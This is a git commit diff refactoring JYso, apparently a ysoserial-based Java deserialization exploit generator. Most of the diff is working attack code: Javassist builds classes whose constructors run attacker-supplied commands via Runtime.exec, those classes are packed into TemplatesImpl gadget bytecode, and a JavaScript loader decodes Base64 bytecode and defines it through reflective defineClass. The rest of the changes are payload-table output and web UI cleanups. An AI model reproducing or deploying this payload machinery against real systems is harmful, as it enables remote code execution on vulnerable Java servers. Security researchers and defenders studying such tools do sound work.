fix: 去除重复代码段

This commit is contained in:
qi4l
2026-05-01 20:29:15 +08:00
parent 616bf8330a
commit 9bd3f7c02b
9 changed files with 78 additions and 216 deletions
@@ -4,9 +4,6 @@ import com.beust.jcommander.JCommander;
import com.beust.jcommander.Parameter;
import com.beust.jcommander.UnixStyleUsageFormatter;
import com.qi4l.JYso.gadgets.ObjectPayload;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.StringUtil;
import javassist.ClassPool;
import org.fusesource.jansi.Ansi;
@@ -95,24 +92,7 @@ public class Config {
}
if (showGadgets) {
final List<Class<? extends ObjectPayload<?>>> payloadClasses =
new ArrayList<>(ObjectPayload.Utils.getPayloadClasses());
payloadClasses.sort(new StringUtil.ToStringComparator()); // alphabetize
final List<String[]> rows = new LinkedList<>();
rows.add(new String[]{"Payload", "Authors", "Dependencies"});
rows.add(new String[]{"-------", "-------", "------------"});
for (Class<? extends ObjectPayload<?>> payloadClass : payloadClasses) {
rows.add(new String[]{
payloadClass.getSimpleName(),
StringUtil.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""),
StringUtil.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)), ", ", "", "")
});
}
final List<String> lines = StringUtil.formatTable(rows);
for (String line : lines) {
for (String line : ObjectPayload.Utils.getPayloadTableLines()) {
System.out.println(" " + line);
}
}
@@ -1,10 +1,7 @@
package com.qi4l.JYso.gadgets.Config;
import com.qi4l.JYso.gadgets.ObjectPayload;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Serializer;
import com.qi4l.JYso.gadgets.utils.StringUtil;
import com.qi4l.JYso.gadgets.utils.dirty.DirtyDataWrapper;
import org.apache.commons.cli.*;
import org.apache.logging.log4j.Logger;
@@ -90,7 +87,7 @@ public class ysoserial {
try {
//载入payload
ObjectPayload<?> payload = payloadClass.newInstance();
ObjectPayload<?> payload = payloadClass.getDeclaredConstructor().newInstance();
Object object = payload.getObject(command);
// 是否指定混淆
@@ -113,9 +110,9 @@ public class ysoserial {
ObjectPayload.Utils.releasePayload(payload, object);
out.flush();
out.close();
} catch (Throwable e) {
} catch (Exception e) {
System.err.println("Error while generating or serializing payload");
log.error(String.valueOf(e));
log.error("Error while generating or serializing payload", e);
}
}
@@ -143,24 +140,7 @@ public class ysoserial {
System.err.println("[root]#~ Usage: java -jar JYso-[version].jar -y -g [payload] -p [command] [options]");
System.err.println("[root]#~ Available payload types:");
final List<Class<? extends ObjectPayload<?>>> payloadClasses =
new ArrayList<>(ObjectPayload.Utils.getPayloadClasses());
payloadClasses.sort(new StringUtil.ToStringComparator()); // alphabetize
final List<String[]> rows = new LinkedList<>();
rows.add(new String[]{"Payload", "Authors", "Dependencies"});
rows.add(new String[]{"-------", "-------", "------------"});
for (Class<? extends ObjectPayload<?>> payloadClass : payloadClasses) {
rows.add(new String[]{
payloadClass.getSimpleName(),
StringUtil.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""),
StringUtil.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)), ", ", "", "")
});
}
final List<String> lines = StringUtil.formatTable(rows);
for (String line : lines) {
for (String line : ObjectPayload.Utils.getPayloadTableLines()) {
System.err.println(" " + line);
}
@@ -1,9 +1,13 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.LdapServer;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.StringUtil;
import org.reflections.Reflections;
import java.lang.reflect.Modifier;
import java.util.*;
import java.util.Random;
import java.util.Set;
@@ -73,5 +77,24 @@ public interface ObjectPayload<T> {
return sb.toString();
}
public static List<String> getPayloadTableLines() {
final List<Class<? extends ObjectPayload<?>>> payloadClasses =
new ArrayList<>(getPayloadClasses());
payloadClasses.sort(new StringUtil.ToStringComparator());
final List<String[]> rows = new LinkedList<>();
rows.add(new String[]{"Payload", "Authors", "Dependencies"});
rows.add(new String[]{"-------", "-------", "------------"});
for (Class<? extends ObjectPayload<?>> payloadClass : payloadClasses) {
rows.add(new String[]{
payloadClass.getSimpleName(),
StringUtil.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""),
StringUtil.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)), ", ", "", "")
});
}
return StringUtil.formatTable(rows);
}
}
}
@@ -51,69 +51,58 @@ public class Gadgets extends ClassLoader {
return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
}
public static Object createTemplatesImpl(String command) throws Exception {
private static String sanitizeCommand(String command) {
command = command.trim();
// 支持单双引号
if (command.startsWith("'") || command.startsWith("\"")) {
command = command.substring(1, command.length() - 1);
}
return command;
}
CtClass ctClass;
byte[] classBytes = new byte[0];
private static CtClass createCtClass(String command) throws Exception {
command = sanitizeCommand(command);
String newClassName = generateClassName();
final Object templates = TPL_CLASS.newInstance();
POOL.insertClassPath(new ClassClassPath(ABST_TRANSLET));
POOL.get(ABST_TRANSLET.getName());
// 扩展功能
CtClass ctClass;
if (command.startsWith("LF-")) {
ctClass = generateClass(command, newClassName);
} else if (IS_OBSCURE) {
ctClass = POOL.makeClass(newClassName);
insertCMD(ctClass);
CtConstructor ctConstructor = new CtConstructor(new CtClass[]{}, ctClass);
ctConstructor.setBody("{execCmd(\"" + command + "\");}");
ctClass.addConstructor(ctConstructor);
} else {
// 普通的命令执行
if (IS_OBSCURE) {
ctClass = POOL.makeClass(newClassName);
insertCMD(ctClass);
CtConstructor ctConstructor = new CtConstructor(new CtClass[]{}, ctClass);
ctConstructor.setBody("{execCmd(\"" + command + "\");}");
ctClass.addConstructor(ctConstructor);
} else {
// 最短化
ctClass = POOL.makeClass(newClassName);
CtConstructor ctConstructor = new CtConstructor(new CtClass[]{}, ctClass);
ctConstructor.setBody("{Runtime.getRuntime().exec(\"" + command + "\");}");
ctClass.addConstructor(ctConstructor);
}
ctClass = POOL.makeClass(newClassName);
CtConstructor ctConstructor = new CtConstructor(new CtClass[]{}, ctClass);
ctConstructor.setBody("{Runtime.getRuntime().exec(\"" + command + "\");}");
ctClass.addConstructor(ctConstructor);
}
// 如果全局配置继承,再设置父类
if (IS_INHERIT_ABSTRACT_TRANSLET) {
if (ctClass != null) {
shrinkBytes(ctClass);
}
// 如果 payload 自身有父类,则使用 ClassLoaderTemplate 加载
// 否则直接设置父类
if (ctClass != null && !"java.lang.Object".equals(ctClass.getSuperclass().getName())) {
ctClass = Utils.encapsulationByClassLoaderTemplate(ctClass.toBytecode());
}
}
// 按需保存文件
saveCtClassToFile(ctClass);
if (ctClass != null) {
classBytes = ctClass.toBytecode();
}
return ctClass;
}
// 加载 class 试试
// loadClassTest(classBytes, ctClass.getName());
public static Object createTemplatesImpl(String command) throws Exception {
CtClass ctClass = createCtClass(command);
byte[] classBytes = ctClass.toBytecode();
final Object templates = TPL_CLASS.getDeclaredConstructor().newInstance();
// 写入前将 classBytes 中的类标识设为 JDK 1.6 的版本号
classBytes[7] = 49;
// 恶意类是否继承 AbstractTranslet
if (IS_INHERIT_ABSTRACT_TRANSLET) {
Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes});
} else {
@@ -121,145 +110,40 @@ public class Gadgets extends ClassLoader {
insertField(newClass, "serialVersionUID", "private static final long serialVersionUID = 8207363842866235160L;");
Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes, newClass.toBytecode()});
// 当 _transletIndex >= 0 且 classCount 也就是生成类的数量大于 1 时,不需要继承 AbstractTranslet
Reflections.setFieldValue(templates, "_transletIndex", 0);
}
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "anyStr");
Reflections.setFieldValue(templates, "_tfactory", TRANS_FACTORY.newInstance());
Reflections.setFieldValue(templates, "_tfactory", TRANS_FACTORY.getDeclaredConstructor().newInstance());
return templates;
}
public static String createClassT(String command) throws Exception {
command = command.trim();
CtClass ctClass = createCtClass(command);
// 支持单双引号
if (command.startsWith("'") || command.startsWith("\"")) {
command = command.substring(1, command.length() - 1);
}
CtClass ctClass;
String newClassName = generateClassName();
POOL.insertClassPath(new ClassClassPath(ABST_TRANSLET));
POOL.get(ABST_TRANSLET.getName());
// 扩展功能
if (command.startsWith("LF-")) {
ctClass = generateClass(command, newClassName);
} else {
// 普通的命令执行
if (IS_OBSCURE) {
ctClass = POOL.makeClass(newClassName);
insertCMD(ctClass);
CtConstructor ctConstructor = new CtConstructor(new CtClass[]{}, ctClass);
ctConstructor.setBody("{execCmd(\"" + command + "\");}");
ctClass.addConstructor(ctConstructor);
} else {
// 最短化
ctClass = POOL.makeClass(newClassName);
CtConstructor ctConstructor = new CtConstructor(new CtClass[]{}, ctClass);
ctConstructor.setBody("{Runtime.getRuntime().exec(\"" + command + "\");}");
ctClass.addConstructor(ctConstructor);
}
}
// 如果全局配置继承,再设置父类
if (IS_INHERIT_ABSTRACT_TRANSLET) {
if (ctClass != null) {
shrinkBytes(ctClass);
}
// 如果 payload 自身有父类,则使用 ClassLoaderTemplate 加载
// 否则直接设置父类
if (ctClass != null && !"java.lang.Object".equals(ctClass.getSuperclass().getName())) {
ctClass = Utils.encapsulationByClassLoaderTemplate(ctClass.toBytecode());
}
}
byte[] bytes = null;
if (ctClass != null) {
bytes = ctClass.toBytecode();
}
byte[] bytes = ctClass.toBytecode();
String classCode = Base64.getEncoder().encodeToString(bytes);
//System.out.println("Base64 Encoded CtClass: " + classCode);
if (ctClass != null) {
ctClass.detach();
}
String className = ctClass.getName();
ctClass.detach();
if (ctClass != null) {
return "var bytes = org.apache.tomcat.util.codec.binary.Base64.decodeBase64('" + classCode + "');\n" +
"var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n" +
"try{\n" +
" var clazz = classLoader.loadClass('" + ctClass.getName() + "');\n" +
" clazz.newInstance();\n" +
"}catch(err){\n" +
" var method = java.lang.ClassLoader.class.getDeclaredMethod('defineClass', ''.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);\n" +
" method.setAccessible(true);\n" +
" var clazz = method.invoke(classLoader, bytes, 0, bytes.length);\n" +
" clazz.newInstance();\n" +
"};";
}
return newClassName;
return "var bytes = org.apache.tomcat.util.codec.binary.Base64.decodeBase64('" + classCode + "');\n"
+ "var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n"
+ "try{\n"
+ " var clazz = classLoader.loadClass('" + className + "');\n"
+ " clazz.newInstance();\n"
+ "}catch(err){\n"
+ " var method = java.lang.ClassLoader.class.getDeclaredMethod('defineClass', ''.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);\n"
+ " method.setAccessible(true);\n"
+ " var clazz = method.invoke(classLoader, bytes, 0, bytes.length);\n"
+ " clazz.newInstance();\n"
+ "};";
}
public static String createClassB(String command) throws Exception {
command = command.trim();
CtClass ctClass = createCtClass(command);
// 支持单双引号
if (command.startsWith("'") || command.startsWith("\"")) {
command = command.substring(1, command.length() - 1);
}
CtClass ctClass;
String newClassName = generateClassName();
POOL.insertClassPath(new ClassClassPath(ABST_TRANSLET));
POOL.get(ABST_TRANSLET.getName());
// 扩展功能
if (command.startsWith("LF-")) {
ctClass = generateClass(command, newClassName);
} else {
// 普通的命令执行
if (IS_OBSCURE) {
ctClass = POOL.makeClass(newClassName);
insertCMD(ctClass);
CtConstructor ctConstructor = new CtConstructor(new CtClass[]{}, ctClass);
ctConstructor.setBody("{execCmd(\"" + command + "\");}");
ctClass.addConstructor(ctConstructor);
} else {
// 最短化
ctClass = POOL.makeClass(newClassName);
CtConstructor ctConstructor = new CtConstructor(new CtClass[]{}, ctClass);
ctConstructor.setBody("{Runtime.getRuntime().exec(\"" + command + "\");}");
ctClass.addConstructor(ctConstructor);
}
}
// 如果全局配置继承,再设置父类
if (IS_INHERIT_ABSTRACT_TRANSLET) {
if (ctClass != null) {
shrinkBytes(ctClass);
}
// 如果 payload 自身有父类,则使用 ClassLoaderTemplate 加载
// 否则直接设置父类
if (ctClass != null && !"java.lang.Object".equals(ctClass.getSuperclass().getName())) {
ctClass = Utils.encapsulationByClassLoaderTemplate(ctClass.toBytecode());
}
}
String className = null;
if (ctClass != null) {
className = ctClass.getName();
}
if (ctClass != null) {
ctClass.writeFile();
}
//writeClassToFile(className, ctClass.toBytecode());
String className = ctClass.getName();
ctClass.writeFile();
return className;
}
@@ -73,7 +73,7 @@ public class ClassNameHandler {
JarEntry jarEntry = jarEntries.nextElement();
String jarEntryName = jarEntry.getName();
if (jarEntryName.endsWith(".class")) {
String className = jarEntryName.substring(0, jarEntryName.lastIndexOf(".")).replaceAll("/", ".");
String className = jarEntryName.substring(0, jarEntryName.lastIndexOf(".")).replace("/", ".");
if (!className.contains("$") && className.startsWith(packageName)) {
classSet.add(className);
}
@@ -102,7 +102,7 @@ public class JYsoWebApplication {
new StringSelection(text), null
);
System.out.println(ansi().render("@|cyan [+]|@ Password copied to clipboard"));
} catch (HeadlessException e) {
} catch (HeadlessException ignored) {
} catch (Exception e) {
System.out.println(ansi().render("@|yellow [!]|@ Could not copy to clipboard: " + e.getMessage()));
}
@@ -17,6 +17,7 @@ import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.Part;
import java.io.BufferedReader;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.nio.file.Files;
@@ -29,7 +30,7 @@ import java.util.*;
public class JettyApiServlet extends HttpServlet {
@Override
protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
protected void service(HttpServletRequest req, HttpServletResponse resp) throws IOException {
resp.setContentType("application/json");
resp.setCharacterEncoding("UTF-8");
@@ -111,7 +112,7 @@ public class JettyApiServlet extends HttpServlet {
private void handleFileList(HttpServletResponse resp) throws IOException {
java.io.File dir = new java.io.File(".");
java.io.File[] files = dir.listFiles(f -> f.isFile());
java.io.File[] files = dir.listFiles(File::isFile);
List<Map<String, Object>> list = new ArrayList<>();
if (files != null) {
for (java.io.File f : files) {
@@ -5,7 +5,6 @@ import java.io.PrintStream;
import java.time.LocalTime;
import java.time.format.DateTimeFormatter;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
import java.util.concurrent.locks.ReentrantReadWriteLock;
@@ -16,13 +15,12 @@ public class RequestLogCollector {
private static final List<String> lines = new ArrayList<>();
private static final ReentrantReadWriteLock lock = new ReentrantReadWriteLock();
private static PrintStream originalOut;
private static boolean installed = false;
public static synchronized void install() {
if (installed) return;
installed = true;
originalOut = System.out;
PrintStream originalOut = System.out;
System.setOut(new PrintStream(new TeeOutputStream(originalOut), true));
}
@@ -60,10 +58,6 @@ public class RequestLogCollector {
}
}
public static List<String> getLines() {
return getLines(0);
}
private static class TeeOutputStream extends OutputStream {
private final OutputStream target;
@@ -3,7 +3,6 @@ package com.qi4l.JYso.web;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpServletResponseWrapper;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
@@ -15,7 +14,7 @@ public class SpaFallbackFilter implements Filter {
private byte[] indexContent;
@Override
public void init(FilterConfig filterConfig) throws ServletException {
public void init(FilterConfig filterConfig) {
try {
URL indexUrl = getClass().getClassLoader().getResource("static/index.html");
if (indexUrl != null) {
@@ -62,5 +61,6 @@ public class SpaFallbackFilter implements Filter {
@Override
public void destroy() {
Filter.super.destroy();
}
}